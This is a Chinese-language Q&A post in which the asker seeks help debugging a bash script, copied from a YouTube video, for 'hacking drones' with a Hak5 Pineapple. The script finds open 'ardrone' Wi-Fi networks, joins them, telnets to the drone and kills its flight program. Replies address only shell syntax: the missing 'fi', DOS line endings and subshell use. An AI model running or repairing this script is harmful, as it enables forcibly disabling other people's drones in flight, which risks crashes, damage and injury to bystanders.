【发布时间】:2022-11-10 10:15:04
【问题描述】:
嗨,我正在尝试使用 hak5 pineapple 和 bash 脚本破解无人机,但我的脚本不起作用。 我不知道如何编写脚本,所以我从这个 youtube 视频中复制了它https://www.youtube.com/watch?v=xKfY0PmKDRE&t=0s 当我运行它时,它显示第 29 行:语法错误:文件意外结束(期待“then”) 到目前为止,这是我的脚本。谁能帮我?
while true; do
if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone ); then
echo "no drones found"
else
echo "drone found! connecting"
DRONESSID=`iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone`
iwconfig wlan1 essid $DRONESSID
sleep 2
echo "testing connection"
if ! ( iwconfig wlan1 | grep $DRONESSID ); then
#echo "geen verbinding"
else
echo "connected"
echo "yes"
ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
sleep 2
echo "ping ping"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "ooof"
else
echo "ping ping"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid $telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo busybox "kill -KILL \`pidof program.elf\`\n"
kill `pidof empty`
echo ""
echo " kill sent"
echo ""
fi
fi
【问题讨论】:
-
确定您的文件是使用 UNIX 换行符保存的? DOS 换行符是解决此错误的简单方法;如果
then由于杂散回车而被解析为$'then\r',那么就是这样。 -
顺便说一句,不要使用
( )进行分组。只需写if foo; then-- 当你写if (foo); then时,它实际上运行速度较慢,因为它会生成一个子shell。 (如果您想在没有子shell 的情况下进行分组,看起来像if { foo; }; then,但这里没有意义)。 -
在您显示的内容中,有 3 个
ifs,但只有 2 个fi。每个if都需要一个匹配的fi。这仅仅是复制/粘贴问题吗? -
在这里提问时,请考虑养成通过shellcheck.net 运行代码的习惯。